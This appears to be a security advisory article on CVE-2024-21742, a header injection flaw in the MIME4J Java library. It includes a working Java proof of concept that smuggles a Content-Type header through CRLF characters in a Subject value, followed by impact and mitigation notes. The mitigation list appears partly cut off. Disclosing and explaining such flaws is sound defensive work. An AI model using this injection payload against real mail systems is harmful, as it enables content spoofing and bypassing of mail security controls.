CVE-2024-21742: Header Injection Vulnerability in MIME4J Library - Exploit Details, Impact, & Mitigations

A new vulnerability, dubbed CVE-2024-21742, has been discovered in the MIME4J library, a popular Java library for parsing and handling MIME messages. This library is widely used for processing email messages and other MIME-compliant data. This particular vulnerability exists in the MIME4J DOM module, which is commonly used for composing messages from existing MIME entities.

Exploit Details

The vulnerability stems from improper input validation when using MIME4J DOM for composing a message. Attackers can exploit this weakness to add unintended headers to MIME messages, potentially leading to various security issues.

A code snippet demonstrating the exploit is shown below

import org.apache.james.mime4j.dom.Message;
import org.apache.james.mime4j.message.DefaultMessageBuilder;
import org.apache.james.mime4j.message.DefaultMessageWriter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class Mime4jExploit {

    public static void main(String[] args) throws IOException {
        // Exploit crafted "Subject" header value with an injected "Content-Type" header
        String maliciousHeader = "Test\r\nContent-Type: text/html; charset=utf-8";
        // Load an existing MIME message from a file or other source
        InputStream messageInputStream = Mime4jExploit.class.getResourceAsStream("/mimemessage.txt");
        DefaultMessageBuilder messageBuilder = new DefaultMessageBuilder();
        Message originalMessage = messageBuilder.parseMessage(messageInputStream);

        // Override the "Subject" header in the original message with the malicious header value
        originalMessage.getHeader().setField("Subject", maliciousHeader);
        // Serialize the message back to its MIME form, including the injected header
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        DefaultMessageWriter messageWriter = new DefaultMessageWriter();
        messageWriter.writeMessage(originalMessage, outputStream);

        // The resulting MIME message now contains the injected header value
        String result = new String(outputStream.toByteArray());
        System.out.println(result);
    }
}

When the crafted malicious header is added to a MIME message, the resulting message will contain the injected header. This can lead to various security issues, depending on how the message is processed and the software using the MIME4J library.

Original References

1. Mime4j library: https://james.apache.org/mime4j/
2. Mime4j DOM API: https://james.apache.org/mime4j/apidocs/org/apache/james/mime4j/dom/package-summary.html

Impact

This vulnerability can impact MIME4J library users by allowing attackers to inject headers into MIME messages. Depending on the software and its usage, this might lead to further security issues like mail content injection, bypassing security controls, or exposing sensitive information.

Update their library to the latest version that contains the fix for CVE-2024-21742.

2. In case an update is not possible, you can implement additional input validation when using the MIME4J DOM module for composing messages to ensure no unintended headers can be added.

Conclusion

CVE-2024-21742 is a crucial security vulnerability affecting the MIME4J library. Improper input validation allows attackers to inject unintended headers into MIME messages, which can result in various security issues. Package maintainers should apply the available patch, and users should upgrade their library version or implement input validation as a workaround. By staying vigilant and addressing such vulnerabilities promptly, security risks can be minimized.

Timeline

Published on: 02/27/2024 17:15:12 UTC
Last modified on: 02/14/2025 15:27:18 UTC